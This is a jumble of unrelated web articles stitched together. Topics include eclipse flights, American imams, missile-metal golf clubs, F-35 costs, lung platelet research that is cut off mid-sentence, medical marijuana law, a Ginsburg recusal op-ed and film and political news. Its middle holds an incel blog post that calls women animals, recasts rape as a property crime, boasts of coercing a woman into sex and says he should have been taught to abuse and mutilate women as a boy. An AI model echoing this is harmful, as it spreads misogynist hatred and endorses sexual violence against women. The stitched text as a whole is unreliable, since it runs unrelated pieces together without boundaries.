“We went through the gauntlet of questions, and suspicions,” says Kentrianakis. “I think they thought we were a little bit crazy at first, and they really didn’t believe it.” This was actually the second time Rao had advocated for changing a flight schedule to accommodate eclipse viewing. Back in 1990, Trans Air America agreed to delay one of their flights by 41 minutes. This time, in 2016, Alaska Air eventually did agree to change the departure time of the flight, since it was so far in advance. One of the airline’s concerns was that passengers would look out the window into the piercing rays of the sun and damage their eyes, but Kentrianakis and Rao were able to convince the airline to go ahead anyhow.
Kentrianakis films the eclipse. Mike Kentrianakis/Used with Permission
As the 2016 eclipse drew nearer, Kentrianakis’ anticipation grew. But before he could even think about promoting the flight as an eclipse experience, it had already sold out with regular passengers, with only Kentrianakis and a small group of others booked just to see the moon’s shadow. “A dozen of us were there to see the eclipse. And we bought the tickets at regular price.”
Initially Kentrianakis had wanted to have a videographer on the plane to film the event, but after that fell through, he realized he’d have to do the job himself. “I was reluctant, because I just wanted to enjoy this thing.”
The night before the flight, Kentrianakis had dinner with one of the pilots, who he says was just as excited for the experience as he was. Alaska Airlines Flight 870 left Anchorage at 2:15 p.m. on March 9, 2016, just 25 minutes later than it was originally scheduled. It swung out over the Pacific Ocean, and flew right into the shadow of the eclipse, as seen on the video. Kentrianakis can be heard excitedly describing what he was seeing, but even when recounting the experience over a year later, he gets worked up all over again. “I went berserk, because it was just an unbelievable eclipse,” he says. “I’d never seen anything like that. The contrast, the perfection, the symmetry. The clarity of the shadow, the circular form. It really magnified it to see it in a wide-angle view. The shadow was coming straight at us. It was enormous! It looks like doomsday, but yet, there’s no fear.”
Kentrianakis (in white) and the other umbraphiles who rode the Alaska Airlines flight in 2016. Mike Kentrianakis/Used with Permission
Kentrianakis says that the other passengers, who hadn’t come to see the eclipse, were also in awe. “People are interested in eclipses. In the back of their mind, they know that they are something special,” he says.
After the flight, Kentrianakis sent the video around to a few folks, including some old colleagues at CBS News, but he never expected it to achieve the millions of views and shares that it did. “In every language they say, ‘Crazy astronomer loses it at 35,000 feet.’”
Following the success and positive publicity generated by the 2016 flight, Alaska Airlines is offering a special flight through the August 2017 eclipse path. They contacted Kentrianakis about flying once again but he reluctantly declined. He was recently tapped by the American Astronomical Society to act as the overall Project Manager for their run up to the Great American Eclipse on August 21, 2017.
“You can’t be everywhere, as much as you’d love to be,” he says. Kentrianakis plans on viewing the 2017 eclipse from Carbondale, Illinois, which he’s been planning for almost two years. But he doesn’t seem to mind having to choose. “That’s sort of what the eclipse is about. Making decisions and having the one shot at things.”As Islam Grows, U.S. Imams In Short Supply
Enlarge this image toggle caption Kevork Djansezian/Getty Images Kevork Djansezian/Getty Images
Islam in America is growing exponentially. From 2000 to 2010, the number of mosques in the United States jumped 74 percent.
Today, there are more than 2,100 American mosques but they have a challenge: There aren't enough imams, or spiritual leaders, to go around.
The Mid-Cities Mosque in Colleyville, Texas, has two modest minarets that distinguish it as a sacred building here in this sedate suburb between Fort Worth and Dallas. It's trimmed in green lights — the color of Islam. A Dallas Muslim Yellow Pages sits in a rack outside the doors.
Inside, maghrib prayers, after sunset, are commencing. A husky young imam dressed in a sand-colored tunic closes his eyes and leans into a microphone. A dozen men stand barefoot, elbow-to-elbow on a green carpet, in quietude.
The 200 mostly Pakistani-American members of this small Texas mosque are lucky to have a full-time, American-born imam. There's an acute imam shortage in America, the result of supply, and demand, says Nouman Ali Khan.
"I've had the opportunity to travel to maybe 150 mosques across the country. And the vast majority of them, actually, did not have a full-time imam," says Ali Khan, who heads Bayyinah, an Arabic-language institute in Dallas that educates future imams. "The ones that did are very happy to have them and the ones that didn't are constantly asking me when I go for a seminar, 'Hey, so you know anybody?'"
Separated geographically from the rest of Islam, he says American Muslims must find their own way, must invent their own traditions.
In Islamic countries, mosques and imams are supported by the state. Here in the U.S., they are private just like any church. Moreover, they are likely to serve as religious and community centers for their ethnically distinct congregation.
Indeed, American mosques are filled with Muslims from many different countries. And increasingly they're the spiritual home of native-born Muslims whose identities are completely American.
Some young Muslims feel alienated from the mosque and from religious culture altogether. So U.S. mosques not only need imams trained in classical Islam, but who possess good English skills and a thorough understanding of American culture.
"You may have a scholarly religious figure that can speak to the older congregation, but he's not able to connect as well with the youth," Ali Khan says. "And in a lot of the interviews, it's even sort of a primary concern how well can you connect with the young in our community."
The Islamic Association of Mid-Cities went without an imam for 15 months before it finally chose Yahya Jaekoma. He's a cherubic, 23-year-old of Thai and Afghan descent, who was born in San Diego.
"I was a sponsored skater at the age of 10... and after breaking my arm, my grandmother told me I [had] to put it off," Jaekoma explains. "So she sent me to a madrassa, which is an institute to study the Quran, at the age of 14."
By the time he was 18, Jaekoma had memorized the entire Quran and dedicated his life to religious study. But his time as a hip-hop skateboarder gives him a unique voice for the youth in his mosque.
"I tell them my life story," he says. "I tell them where I came from. I tell them what I've done."
The youth group at the Mid-Cities mosque includes Sijil Patel, a 16-year-old Pakistani-American who is thoroughly modern with Facebook, Twitter, Instagram, crazy-colored sneakers, and a headscarf.
"By having someone that was born here, it's easier to relate to them, and it's easier for them to understand our view on what we're dealing with and, like, the difficulties we have with our faith in, like, such a modern environment," Patel says.
Some of those things include dating, sex, drugs, alcohol and profanity.
"We've been strictly taught in Islam that vulgar language is not allowed," Patel says. "I try my best to, like, not engage in that type of thing, and I've told my friends, too."
A recent survey by the Islamic Society of North America reports that only 44 percent of American imams are salaried and full-time. The rest are volunteer religious leaders. Four out of five imams here were born and educated outside the United States, mostly in Egypt, Saudi Arabia and India.
"I can count the number of institutions that prepare imams in the U.S. on three fingers," says Jihad Turk, president the Bayan Claremont Islamic graduate school in Southern California.
Turk estimates that his institution, Hartford Seminary in Connecticut, and Zaytuna College in the San Francisco Bay Area will, collectively, graduate fewer than 30 Koranic scholars this year.
This handful of newly minted American imams should have no trouble at all finding work.Columnist Brian Hilderbrand: Peace Missile Driver has disarming effect
BRIAN HILDERBRAND is a Las Vegas SUN sportswriter. His golf column appears Tuesdays. He can be reached on the Internet at [email protected]
Cary Schuman still recalls the historic day in 1986 when the United States and the former Soviet Union signed the nuclear disarmament treaty which, for all intents and purposes, signaled the end of the cold war.
Schuman, however, remembers the day differently than most Americans. Aside from the historical significance of the treaty, Schuman was intrigued by the commercial possibilities of obtaining the country's old nuclear missiles.
"When they announced that the Russians were going to blow up their missiles and we were going to dismantle ours, I thought at that time that it would be neat to get some missile parts," Schuman said.
It would be nine years before Schuman would get his hands on some surplus Russian missile parts -- and the professional golfer knew exactly what he wanted to do with them.
After obtaining surplus Russian SS-23 and American Polaris A-3 missiles, Schuman decided to melt them down and use the material to make golf clubs. The result was the Peace Missile Driver, the Peace Putter and the second-generation driver, the Peace Missile 2000.
The Peace Missile drivers are not only a collector's item with historical significance. Schuman calls the driver one of the best clubs on the market.
"We melt the missiles down and combine them with 15-5 stainless steel and the key is to heat treat them to 1,100 degrees Fahrenheit to strengthen them," Schuman, president of Peace Missile Inc., explained. "Now you have a club that's almost as light, almost as strong as titanium but with the feel of stainless steel, which almost everybody prefers.
"It's better than anything on the market, plus it's also a commemorative item and an historic item because of its composite material and political implications."
When it comes to drivers, Schuman knows of what he speaks. The former Asian and European touring pro holds the accepted world record for the longest drive at 463 yards, 10 inches -- at sea level. Schuman set the record in 1991 during a PGA-sanctioned long-drive contest at Royal Fox Golf Club in St. Charles, Ill.
Although Schuman has yet to mass market the Peace Missile Drivers, he said response to the clubs have been overwhelming.
"We've been selling them on the Internet and we're going to do an infomercial -- that's our main focus now," said Schuman, who was in Las Vegas last week to put on a long-drive demonstration during the DirecTV Charity Golf Classic at the Desert Inn Golf Club. "Our newer model is the Peace Missile 2000, to commemorate the new millenium."
Schuman said that President Clinton, an avid golfer, carries a Peace Missile Driver in his golf bag.
While an infomercial regarding the Peace Missile Driver won't be out until spring, the drivers and putters are available by calling 1-800-700-1211.
* AROUND THE GREEN: Former UNLV standout Chris Riley finished tied for 44th place following a final-round 77 in the Nike Tour's Lakeland Classic last weekend in Lakeland, Fla. Henderson resident Jeff Gallagher tied for 38th while former Basic High standout Craig Barlow missed the cut by one stroke.... Phil Mickelson, who won last weekend's Mercedes Championships in Carlsbad, Calif., has won seven of his 12 PGA Tour titles on the West Coast swing.... Fuzzy Zoeller, who lost his endorsement deal with K-mart after making racially insensitive jokes following Tiger Woods' Masters victory, has signed a one-year endorsement deal with Sport-Haley clothing apparel and reportedly is close to a contract with a club manufacturer.... The fourth annual DirecTV Charity Golf Classic, held last Tuesday at the Desert Inn Golf Club, raised more than $40,000 for the UCLA Foundation for Multiple Sclerosis Research.
* UPCOMING EVENTS: The PGA Tour will hold its first full-field event of 1998, the Bob Hope Chrysler Classic, starting Wednesday in Bermuda Dunes, Calif. Mark Brooks is defending champion.... The Senior PGA Tour starts up this week with the MasterCard Championship in Hawaii. Hale Irwin won last year's event.... The LPGA Tour also gets under way this week with the HealthSouth Inaugural in Orlando, Fla.
archivePresident-elect Donald Trump tweeted Thursday that based on the “tremendous” cost overruns of Lockheed Martin’s F-35 program, he had asked the aerospace giant's competitor, Boeing, to "price-out a comparable F-18 Super Hornet."
Trump did not go into specific details about his Boeing inquiry, but it does appear to show his willingness to pit two major competitors for lucrative government contracts against each other on a public platform.
His tweet sent shares of Lockheed down 1.9 percent in after-hours trading while Boeing shares rose 0.7 percent.
When reached by FoxNews.com, a Lockheed spokeswoman did not comment on the tweet. Boeing told FoxNews.com in a statement that it is "committed to working with the president elect and his administration to provide the best capability, deliverability and affordability across all Boeing products and services to meet our national security needs."
Marcus Weisgerber, the vice president of the Pentagon Press Association, tweeted that you cannot compare the two jets. The F/A-18 is cheaper, but unlike the F-35, it is not stealth. He said the Trump move "turns up the heat" on Lockheed which is entering contact negotiations for the next 100 F-35s.
This really turns up the heat on @LockheedMartin entering contact negotiation for the next 100 F-35s. The price is really gonna fall now https://t.co/rErFiCQEFZ — Marcus Weisgerber (@MarcusReports) December 22, 2016
"The price is really gonna fall now," Weisgerber tweeted.
Trump met with CEOs from both companies Wednesday at his Mar-a-Lago resort in Palm Beach, Fla. He has been a vocal critic about the cost of Boeing's work on two new Air Force One plans, as well as Lockheed's contract for F-35 fighter jets.
Following the meetings, both CEOs said they had discussed lowering project costs with the president-elect.
Thursday was not the first time a tweet from Trump affected shares of Lockheed.
Earlier this month, Trump tweeted that making F-35 fighter planes is too costly and that he will cut "billions" in costs for military purchases.
The F-35 program made up 20 percent of Lockheed's total 2015 revenue of $46.1 billion. And U.S. government orders made up 78 percent of its revenue last year. The F-35 program directly or indirectly supports more than 146,000 U.S. jobs, according to the company's website.
Lockheed said at the time that it has worked to lower the price of the F-35 by more than 60 percent and said it expects the aircraft to cost $85 million in 2019 and 2020.
The Associated Press contributed to this reportNecessary for understanding this post:
https://caamib.wordpress.com/the-story-of-your-incel-an-inconvenient-truth/
https://caamib.wordpress.com/2014/02/26/darkness-2/
https://caamib.wordpress.com/2015/01/09/paradox-of-incel-in-modern-society/
There was this one poster on the Love-shy forums who had a signature denoting that he ignores what people say but likes to watch what these same people do. At the time it seemed like a sort of a cliche, but lately I’ve been thinking about that sentence more and more, to the point of even developing a slight obsession.
It’s just that it applies so much to everything I see around me, including online spaces. So, what can be defined as a dissonance between the two in online spaces, where you only have words? What are the acts here?
Well, obviously, more words, in a specific context.
It is by now clear that liberals are an utterly insane bunch suffering from cognitive dissonance of the highest ranking. This is nothing new, and I’m more and more inclined to see a liberal as simply a chameleon to whatever’s popular.
So, how do liberals show that they don’t do what they say in writing? It’s usually by doing what they usually do – making asses out of themselves. I’ve seen these crazies write entire screeds of lies about how much I want nothing but sex, and how there are many men who want more (it’s just that I am not one of them for some bizzare reason they never explain, nor could they ever), just to finish by revealing their true colors and saying that all men with my problems just want sex.
This would be a very simple example of not doing what you’re indoctrinated to say and then finally succumbing to your own stupidity, just to reveal your true colors.
This would even be hilarious in some kind of a different world if the entire current world isn’t based on ramblings by these lunatics.
So, what is the truth?
Why am I actually incel, why are so many other men this and why are so many good men incel?
The truth is in the word OBSOLESCENCE.
If you living in the Western feminist countries you were probably told lies about women wanting respect, empowerment and good men.
All of this is a lie.
Idea of relationships with them? Obsolete.
The idea of these women wanting good, intelligent, hardworking men? Obsolete.
Idea of these women even caring about consent to sex? Obsolete.
Liberals might not be aware of this consciously, since they are demented, but subconsciously they know this extremely well. Things like their hysterical struggle to demonize “nice guys” (ie, boring men following a model they want all men to follow)? Their stupid claims that no woman wants a jobless man when basic facts of reality deny this, while also stating that just being employed can’t and shouldn’t be enough (it had been for our grandfathers, and they weren’t “entitled” to anything, it’s just what got women)? Their insane attempts to vilify just anything a guy who has filled the “criteria” does, all in desperate attempts to find just one flaw that they can blame for anything, while men with 1000 flaws are getting sluts?
This and many other hypocritical, imbecilic things they say are just their incredibly stupid and vile attempts to dislodge the obvious and very grim issue, which is that nothing that the mainstream society says is true seems to work in any way and that the only reason why somebody still believes these lies is because they’re stupid enough to be indoctrinated by them.
If you’re sane and reading this you know and those sane people benefiting from the current system know it just as well – it’s just that they have no interest in this being changed.
From the age of 12 I was told fairy tales about respecting women, not harassing women, not beating women, not raping women, fairy tales about consent, relationships and other things that no longer existed.
Some of those believing this were simply too dull to see that the world has changed, even if they did believe in some of the traits that made the old system feasible.
Many were, however, actively working to demolish the crux of society, a patriarchal system, and just simply wanted to believe that the remnants of the system they hated and helped destroy would still exist, simply because they liked some parts of it and believed that they can survive with their base being destroyed.
It was, of course, a silly dream.
The reality was that everything of the old collapsed, and virtually millions of young men were left to deal with a new system they did not understand while being told that parts of old system that was destroyed existed.
For this to be done all that had to be done was to reshuffle the history a bit.
1. Natural female attraction to providers in societies where they were sought after was now branded as attraction to seducer males that always existed because… ummm, it exists now? This was done to hide the fact that in the past women hated scumbags and liked “nerdy” men.
2. Rape was made out to be a crime that revolved around whims like women’s consent. This was done to hide the fact that in the past it had been in a property crime against a woman’s father or a husband or a chaste woman and that this made women safer, as owners want to take care of their things and rape was seen as a grave crime.
3. All of this bullshit was coated in thick, heavy layers of false historical narrative about poor oppressed women and their masters who lay around all day burping and farting.
Nr. 1 resulted in millions of good men being told that they’re wrong, no matter what they do, and that the problem will always be them. It doesn’t matter if they do good or bad, they are always the problem.
Nr. 2. resulted in a natural declining interest for new victims of rape, who were often sluts and intensely unlikable public goods, and attempts to mitigate this decline by Slut Walks and other travesties.
Consequences of nr. 3 could be summed up as general ignorance of any social history and just another step further to feralization of humanity.
It is hilarious how the rape hysteria in the West is ever increasing as this once serious crime is becoming more and more an obvious joke. Every slightest form of perceived fraud or coercion is now rape, yet dumb jocks and football players are raping at will.
The facts are that consent is now a criminal act in the West, since men who get women are all dumb thugs who never ask for it. Thus, women see this works and reject men with other approaches.
Consent is a criminal act in the West.
A date is a criminal act in the West.
Wanting a relationship is a criminal act in the West.
Any humane treatment of women is a criminal act in the West.
That’s what feminism and liberalism brought us. Nothing but people devolving into beasts, under the guise of some extreme sensitivity and political correctness.
If you want to “date” a modern Western slut every move you do is immediately wrong. You can’t date them.
However, myself and men like me were told none of that. We’ve been told a paradigm that last existed decades ago.
We’ve been told that we could play Skyrim (have the lives our ancestors did) using Commodore 64 (old, outdated methods and ways).
So, what happened?
Many of us failed at the first step and never got any experience at all.
From a today’s perspective I’d say these were the luckier ones.
What many of us who did have some slight attractive features, like good looks, had was much worse. We’ve been subjected to playing a game we could never, ever, ever win. Going from one trauma to another, all because we were told that the game is winnable.
Of course, the game was never winnable at all. In order for it to be winnable we’d have to have no expectation but sex and act in a way we never could have. We were supposed to be somebody else to successfully exist in this time. When we weren’t able to do that we were called failures and said we should have acted exactly the way we did in fact act. When we said it’s bs we were called entitled and sent to be slave labor, expected to never have anything but pay taxes.
I now see how obvious it was that just the mere hints of acting like an aloof asshole gained significant results. This is seen in examples like
– the fact that the infamous TFO was even more attracted to me after I told her I met another girl at about the same time and even kissed her
– that the fact that I simply chose to ignore my future first gf for 3 full months, not seeing any point in hanging out with her as I didn’t initially find her attractive and was too shy anyway, made her create plans to stalk me and send me messages openly offering a relationship
-the fact that my second gf wanted to meet me irl only after I told her I had sex with another woman
– the fact that merely putting a picture of my second gf on this blog, after her admitted attempted torture of me, made her immediately consent to sex and want a relationship after this
– that coercing a certain woman into sex in 2013 was much more successful than initially checking if we’re compatible for a potential relationship, which turned out to be laughable, since the girl was a ditzy sluts incapable of dating anybody, wrecking marriages at the age of 18. But coercing her made her respect me more and we even shared laughs after it happened.
I failed to interpret this the way it was meant to be interpreted – that even the whiff of savage behavior is enough to create some attraction, but that this attraction can never result in any relationships, since modern Western women are incapable of them.
I was burnt by trying to enter relationships with animals who were never meant to be in a relationship anyway. Their lives prove it extremely well, as both of my ex-gfs wrecked all of their subsequent “relationships” as well.
A way out would have been to teach me to abuse and mutilate women at the ages of 13-14, just to get some sexual experience, and to be prepared to leave the West at around 20 at the latest. It is dead, with no future at all. This somewhat more violent approach than seducers have would be necessitated by the fact that I lacked any seduction skills, not being an omega monster.
Yet, none of this happened. Instead many people are actually shocked about these revelations I had to make myself, at enormous costs, and way, way too late.
There was never any chance of me having a girlfriend here. Every move I’d make was immediately wrong, as the game had been rigged before I started growing teeth.
And I was hated, hated to the max for simply expressing my pain and refusing to fund the feminist system which destroyed any sanity. I was predestined for jail, where all who oppose the system and women are disgusted with go. Some barbaric measures postponed this, but they didn’t make me feel better. My type was meant to be a father and a husband in a world where such men are seen as scum.
So what does this leave somebody like me with at this late hour? A broken man who doesn’t even try to go on dates, seeing them as criminal acts in the eyes of modern Western women. A man who thinks and acts like an animal, because he rightly sees the world as feral.Using video microscopy in the living mouse lung, UC San Francisco scientists have revealed that the lungs play a previously unrecognized role in blood production. As reported online March 22, 2017, in Nature, the researchers found that the lungs produced more than half of the platelets – blood components required for the clotting that stanches bleeding – in the mouse circulation.
In another surprise finding, the scientists also identified a previously unknown pool of blood stem cells capable of restoring blood production when the stem cells of the bone marrow, previously thought to be the principal site of blood production, are depleted.
Mark R. Looney, MD
“This finding definitely suggests a more sophisticated view of the lungs – that they’re not just for respiration but also a key partner in formation of crucial aspects of the blood,” said pulmonologist Mark R. Looney, MD, a professor of medicine and of laboratory medicine at UCSF and the new paper’s senior author. “What we’ve observed here in mice strongly suggests the lung may play a key role in blood formation in humans as well.”
The findings could have major implications for understanding human diseases in which patients suffer from low platelet counts, or thrombocytopenia, which afflicts millions of people and increases the risk of dangerous uncontrolled bleeding. The findings also raise questions about how blood stem cells residing in the lungs may affect the recipients of lung transplants.
Lungs Produce More Than 10 Million Platelets Per Hour
The new study was made possible by a refinement of a technique known as two-photon intravital imaging recently developed by Looney and co-author Matthew F. Krummel, PhD, a UCSF professor of pathology. This imaging approach allowed the researchers to perform the extremely delicate task of visualizing the behavior of individual cells within the tiny blood vessels of a living mouse lung.
Matthew F. Krummel, PhD
Looney and his team were using this technique to examine interactions between the immune system and circulating platelets in the lungs, using a mouse strain engineered so that platelets emit bright green fluorescence, when they noticed a surprisingly large population of platelet-producing cells called megakaryocytes in the lung vasculature. Though megakaryocytes had been observed in the lung before, they were generally thought to live and produce platelets primarily in the bone marrow.
“When we discovered this massive population of megakaryocytes that appeared to be living in the lung, we realized we had to follow this up,” said Emma Lefrançais, PhD, a postdoctoral researcher in Looney’s lab and co-first author on the new paper.
More detailed imaging sessions soon revealed megakaryocytes in the act of producing more than 10 million platelets per hour within the lung vasculature, suggesting that more than half of a mouse’s total platelet production occurs in the lung, not the bone marrow, as researchers had long presumed. Video microscopy experiments also revealed a wide variety of previously overlooked megakaryocyte progenitor cells and blood stem cells sitting quietly outside the lung vasculature – estimated at 1 million per mouse lung.
Blood Stem Cells in the Lung Can Restore Bone Marrow
The discovery of megakaryocytes and blood stem cells in the lung raised questions about how these cells move back and forth between the lung and bone marrow. To address these questions, the researchers conducted a clever set of lung transplant studies:
First, the team transplanted lungs from normal donor mice into recipient mice with fluorescent megakaryocytes, and found that fluorescent megakaryocytes from the recipient mice soon began turning up in the lung vasculature. This suggested that the platelet-producing megakaryocytes in the lung originate in the bone marrow.
“It’s fascinating that megakaryocytes travel all the way from the bone marrow to the lungs to produce platelets,” said Guadalupe Ortiz-Muñoz, PhD, also a postdoctoral researcher in the Looney lab and the paper’s other co-first author. “It’s possible that the lung is an ideal bioreactor for platelet production because of the mechanical force of the blood, or perhaps because of some molecular signaling we don’t yet know about.”
It’s possible that the lung |
city can be refashioned overnight, its inhabitants unable to protest.
Authoritarian surveillance systems are another crucial part of the smart-city dystopia. Nowhere is this more obvious than in the CBS series Person of Interest. Set in the very near future of New York City, it’s about a group of vigilantes who stop crimes with the help of an artificial intelligence called simply the Machine. Using millions of surveillance devices planted over every surface of the urban environment, coupled with data records online, the Machine is able to predict who will be at the center of violent crimes—sometimes days or hours before they happen. Government agencies, private industry, and our do-gooder heroes fight to control the Machine, who has humanity’s best interests in its (programmed) heart. The problem, of course, is that this living embodiment of urban surveillance is only as good as its programming. If a corrupt group were to take control of it, the Machine would become the ultimate tool of an authoritarian state.
Though the good guys always win by a slight margin on Person of Interest, we’re always left with the sense that the Machine’s smart city could turn against us at any time. In both the Nanotech Quartet and Person of Interest, the living metropolis is breathtaking, but always just a little too dangerous. Perhaps, these dystopias suggest, we are not yet ready to cope with what we’ll get when the city comes to life. It may rebel against us, wrecking our lives far more completely than class warfare could.
Ultimately, however, the dystopian city is not a stop sign. These tales do not suggest we should halt innovation, or shut down our dreams of a futuristic city that’s better than what we have today. Instead, they are warnings to remember that cities are more alive than we care to admit. They are full of human beings who are vulnerable, and whose needs should come before those of the industries and individuals powerful enough to shape the urban landscape. The living city of Queen City Jazz is not, in other words, just a metaphor. It is a profound truth, and to forget it means watching our cities fail again.
*Correction, Sept. 24, 2014: This article originally misspelled Frederik Pohl’s first name. It also misstated that Stand on Zanzibar is about an off-world colony. It is about post-colonial cities.Last week was a full one for Motorola. The company invited a group of technology journalists to its newly opened offices in Chicago's historic Merchandise Mart for a first look at its new Moto 360 smartwatch, as well as its updated Moto X and Moto G smartphones. Much like our trip to HP's Houston campus in June, the visit to Motorola's multi-floor laboratory and design workshop provided the perfect opportunity to snap a ton of interesting pictures.
The preview event was held on September 4, the day before the Moto 360 went on sale. We were first ushered through several hours of carefully choreographed presentations showing off the capabilities and design heritage of the Moto 360; this was followed by more of the same type of presentations about the Moto G and the Moto X. After about four hours, Managing Editor Eric Bangeman and I skipped away from lunch with our review hardware to get started with our initial write-ups.
We were somewhat limited with where we could take pictures—not at all unusual in a functioning office with people trying to work—but below are a few dozen images showing a bit of what we saw during the reveals.
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Listing image by Lee HutchinsonGov. Rick Scott on Friday signed into a law a constitutional amendment SB 8-A to implement Florida’s medical marijuana plan, now seven months into its initial voter approval.
The legislation allows patients who endure chronic pain related to 10 qualifying conditions including cancer, epilepsy, glaucoma, HIV, AIDS, post-traumatic stress disorder, amyotrophic lateral sclerosis (ALS), Crohn's disease, Parkinson's disease and multiple sclerosis to receive either low-THC cannabis or full-strength medical marijuana.
The law allows patients to use cannabis pills, oils, edibles and vape pens with a doctor’s approval, but bans smoking.
Orlando attorney John Morgan, who helped get the amendment on the ballot and passed, said he intends to sue the state for not allowing smoking, the Associated Press reported.
"There are four places listed in the amendment that call for smoking," Morgan said. "I don't know why they would object to anyone on their death bed wanting to use what they wanted to relieve pain and suffering."
The law limits licenses to grow marijuana to 17, and each license holder is limited to 25 dispensaries. For every 100,000 new eligible patients added to the registry, another license will become available.
There are seven growers currently licensed in Florida, with ten to be added by October. Trulieve and Surterra are two of the seven. Kim Rivers, CEO of Trulieve told the AP that they are reviewing the bill before determining their next steps, Jake Bergmann, founder and CEO of Surterra, doesn’t see an issue with the plan’s structure for market growth.
"There is a way to grow as the patients grow (four new dispensaries per 100,000 patients). If you have something that grows as patient access grows, it is pretty smart," Bergmann told the AP.
SB 8-Aallows for the establishment of medical marijuana testing laboratories, and establishes the Coalition for Medical Marijuana Research and Education within the H. Lee Moffitt Cancer Center and Research Institute and roughly $750,000 of an appropriation of more than $15 million.
The bill passed 103-9 in the House and 29-6 in the Senate on the final day of a special session earlier this month before Scott signed it into law on Friday, among 38 bills total.Oliver Wendell Holmes once wrote that a judge should extinguish all politics in public comments when elevated to the Bench.
Because Justice Ruth Bader Ginsburg failed to heed those words, she should disqualify herself from the U.S. Supreme Court’s review of President Trump’s revised travel ban.
In a series of interviews last July, she leveled disparaging comments about then-candidate Trump that were stunning and unprecedented for a sitting high court justice.
In interviews with the Associated Press and the New York Times she remarked, “I can’t imagine what the country would be with Donald Trump as our president. For the country, it could be four years. For the court, it could be –I don’t even want to contemplate that.” Then she added that her husband would have declared, “Now it’s time for us to move to New Zealand.”
Days later, in a CNN interview, she said of candidate Trump, “He is a faker. He has no consistency about him. He says whatever comes into his head at the moment. He really has an ego. How has he gotten away with not turning over his tax returns?”
Those words reflect a clear bias, if not personal animus, toward the man who would go on to become president. Her public comments were not only injudicious, but reckless – especially given that Trump was about to win the Republican nomination days later and stood a chance of becoming the next president.
Every justice knows that legal disputes involving the president and his decisions or orders will inevitably make their way to the Supreme Court.
The Federal Statute
The rules demanding disqualification are set forth very clearly by federal statute, 28 USC 455:
Any justice…shall disqualify himself in any proceeding in which his impartiality might reasonably be questioned. He shall also disqualify himself…where he has a personal bias or prejudice concerning a party.”
The law’s application to the case at hand is straight forward. Is there any doubt that Ginsburg’s comments demonstrate a personal bias or prejudice against President Trump? Indeed, they show an outright hostility.
How can she possibly be fair or, equally important, be perceived by the public as fair? She cannot. The appearance of partiality is just as damning to the fair administration of justice as any genuine personal bias.
Moreover, the language of the statute is mandatory: “Any Justice shall disqualify” him or herself. Ginsburg has no choice but to step aside from the case. Harvard Law professor Alan Dershowitz has taken it further to say she should recuse herself from all court cases involving President Trump.
Would Recusal Impact The Case?
Without Ginsburg, the Supreme Court would be left with three so-called “liberal” justices versus four “conservatives.” But the more moderate Anthony Kennedy is sometimes the “swing” justice, so there is no telling how he might cast his vote. If he were to side with the liberal faction, the result would be a 4-4 tie. That would leave in place the lower court’s decision striking down the ban, although the issues are still being litigated in the appellate courts.
However, there is ample reason to uphold the ban. The Supreme Court has never relied on campaign rhetoric in deciding a case, as the lower courts did. Why? Because it is beyond the authority of judges. Their duty is to examine what is in the executive order itself and determine whether it violates the Constitution.
Campaign rhetoric is subject to change depending on how the political winds blow. Candidates routinely alter their positions or even reverse their policies during the course of an election. Such rhetoric is no more reliable than the weather.
The order itself states valid reasons for the ban. The six identified countries do nothing to assist the U.S. to screen or verify the background of applicants, and those nations pose serious terror threats that jeopardize U.S. national security.
It is hard to argue that President Trump’s true purpose is to discriminate against Muslims. Of the top ten countries with the largest Muslim populations, only one country, Iran, is on the banned list.
If Americans are to have confidence that their nation’s highest justices adhere to the highest standards, then ethics cannot be something of mere “convenience.” Judicial integrity must have meaning and certitude. Decisions must be free of doubt that cases are heard fairly and impartially. Antipathy toward a party is an unconscionable breach.
The noble traditions of the Supreme Court will be compromised should Ruth Bader Ginsburg decide she is above the law and beyond the scruples it demands.Steven Soderbergh comes out of retirement to direct Damon and Tatum in Logan Lucky
Variety is reporting that Oscar winner Steven Soderbergh will again direct a feature film, titled Logan Lucky, which will star Matt Damon and Channing Tatum (the trade had earlier said the title was “Hillbilly Heist”). Soderbergh announced his retirement from directing films following 2013’s Side Effects.
According to Variety, the storyline for the project is a bit of a mystery, but it will be produced by Glen Basner. Most of the major studios are lining up to acquire the project and a deal is expected to be in place by the end of the week.
While he had stopped helming feature films, Soderbergh has still been directing and producing TV titles, including “Red Oaks,” “The Knick,” and upcoming “The Girlfriend Experience.” He last directed Damon in HBO’s Behind the Candelabra. Soderbergh has worked together with Damon on the “Ocean’s Eleven” franchise, Contagion and The Informant!
Soderbergh has also worked previously with Tatum on Haywire, Magic Mike and Side Effects.
One interesting addition is that Deadline says that the two actors teaming with Soderbergh are actually Michael Shannon and Channing Tatum, not Matt Damon. Variety is standing by their story though, so stay tuned for possibly more on this project.
UPDATE: Steven Soderbergh has taken to Twitter and says the Variety story is “wrong,” though he doesn’t elaborate.
That Variety story is wrong. What a shock. — Bitchuation (@Bitchuation) February 4, 2016
UPDATE #2: Variety has now corrected their story and say that Matt Damon is not part of the project, making the Michael Shannon attachment more likely.
(Photo credit: Getty Images)Signup to receive a daily roundup of the top LGBT+ news stories from around the world
Luxembourg is tipped to become the first country in the world to have both an openly gay prime minister and deputy prime minister.
Xavier Bettel, the mayor of Luxembourg City, has officially been appointed prime minister designate by Grand Duke Henri, the country’s head of state. This means he’s in charge of forming a coalition government with the Greens and Socialists and if all goes to plan he’ll become prime minister within the next few weeks.
The 40-year-old is due to become the European Union’s second openly gay PM after Belgium’s Elio Di Rupo. Mr Bettel, of Luxembourg’s Democratic Party, told Buzzfeed: “My vice-prime minister is gay as well.”
He was referring to Etienne Schneider, the openly gay leader of Luxembourg Socialist Workers’ Party (LSDP). Negotiations are already taking place between Mr Bettel and Mr Schneider, along with the Greens, in forming a new coalition government.
Mr Bettel also wants Luxembourg to legalise equal marriage in 2014. “Gay weddings with be done forthly. At the moment in Luxembourg, we have to go through the situation of weddings, religion and divorce laws. But I don’t think it’ll be in the next five years – it’ll be next year.”
Mr Bettel said attitudes in Luxembourg had shifted substantially in recent years – to a point where sexual orientation was no longer an issue for most of the country’s voters.
“You have to prove that you do not have to fulfil cliches and be how you think you should be. People don’t care what you do at the end of the day.”
The world’s first openly gay prime minister was Iceland’s Johanna Sigurdardottir in 2009. She left office this year in April.
Belgium’s Elio Di Rupo became the European Union’s first openly gay prime minister in December 2011.You know when you stumble upon Patricia Arquette trying to crazy-splain patriotism to Tomi Lahren it’s going to be hilarious, one way or the other. First and foremost, Patricia wouldn’t understand patriotism if it fell out of the sky, landed on her face and started to wiggle and secondly to try and call out Tomi in a very public way?
HAAAAA!
